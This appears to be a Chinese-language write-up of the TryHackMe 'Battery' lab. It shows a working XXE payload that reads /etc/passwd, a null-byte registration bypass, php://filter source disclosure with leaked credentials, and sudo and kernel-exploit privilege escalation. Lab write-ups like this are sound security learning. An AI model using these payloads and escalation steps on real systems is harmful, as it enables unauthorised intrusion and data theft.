Battery (Try Hack Me Writeup)


URL : https://tryhackme.com/room/battery

IP : 10.10.207.162

Recon

  • 掃 Port
    • rustscan -a 10.10.207.162 -r 1-65535
      • 發現有開
        • 22
        • 80
    • nmap -A -p22,80 10.10.207.162

Web

  • 觀察首頁
  • 掃路徑
    • /forms
    • /admin.php
  • 發現 /forms 把 Header 拔掉就不會自動跳轉
    • 裡面傳送的資料是 XML ,可能可以 XXE
    • 但沒有登入都失敗
function XMLFunction(){
	var xml = '' +
		'<?xml version="1.0" encoding="UTF-8"?>' +
		'<root>' +
		'<name>' + $('#name').val() + '</name>' +
		'<search>' + $('#search').val() + '</search>' +
		'</root>';
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.onreadystatechange = function () {
		if(xmlhttp.readyState == 4){
			console.log(xmlhttp.readyState);
			console.log(xmlhttp.responseText);
			document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
		}
	}
	xmlhttp.open("POST","forms.php",true);
	xmlhttp.send(xml);
};
  • 在 register.php 註冊一組帳密
    • meow
    • ABC
    • meow
    • 註冊成功
  • 嘗試登入
    • 使用介面上的功能
      • 發現不能使用
  • 再註冊一組
    • meow1
    • DEF
    • meow1
  • 掃目錄
    • 發現一個 /report
  • 載下來發現是一個 ELF

Reverse

  • 選單
  • 使用者
  • 字串比較
  • 更新
    • 這邊看到 admin@bank.a 滿可疑的

Web

  • 嘗試註冊 admin@bank.a
      • 被嘲諷ㄌQQ
      • 但這代表應該確實跟這個有關!!
  • 用 Burp 後面加上 %00 截斷
  • 註冊成功
  • 後台亂輸入都會噴錯
  • 重新試著 XXE
function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>\n' +
        '<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>\n' +
        '<root>' +
        '<name>' + "0" + '</name>' +
        '<search>' + "&b;" + '</search>' +
        '</root>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("POST","forms.php",true);
    xmlhttp.send(xml);
};
XMLFunction();
  • 可以讀檔
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash
  • 看起來有興趣的使用者
    • cyber
    • yash
  • 讀取原始碼
    • php://filter/convert.base64-encode/resource=/var/www/html/acc.php
    • 找到註解上的密碼
      • //MY CREDS :- cyber:super#secure&password!

SSH

    • 順利連上
  • 取得 Base Flag

提權

  • 起手式 sudo -l
    • 發現可以用 root 執行一個 run.py
  • run.py
    • 但我們沒有權限讀取他 QQ
  • 觀察原始碼
    • admin.php
      • 找到 mysql 的帳密
  • Dump Mysql
    • mysqldump -u root -h 127.0.0.1 -p details > a.sql
    • 看到一組密碼
      • I_know_my_password
    • 但好像就沒有什麼進展了 QQ
  • 跑 Linpeas
    • 發現 Linux Kernel 好像有點舊,可以用 Exploit
    • https://www.exploit-db.com/exploits/37292
  • 試著載下來編譯執行
    • 就成功 Root ㄌ
  • Flag2
  • Root Flag

另外一種提權法

  • 剛剛可以用 sudo 執行 run.py
    • 但是沒有權限可以讀取
  • 但因為這是我的家目錄,所以我可以改檔名、新增檔案
  • 所以自己創一個 run.py
    • import os
    • os.system("/bin/bash")
  • 再 sudo 它
    • 也可以順利提權

學到ㄌ

%00 截斷
XXE 記得加 ;

,

發表迴響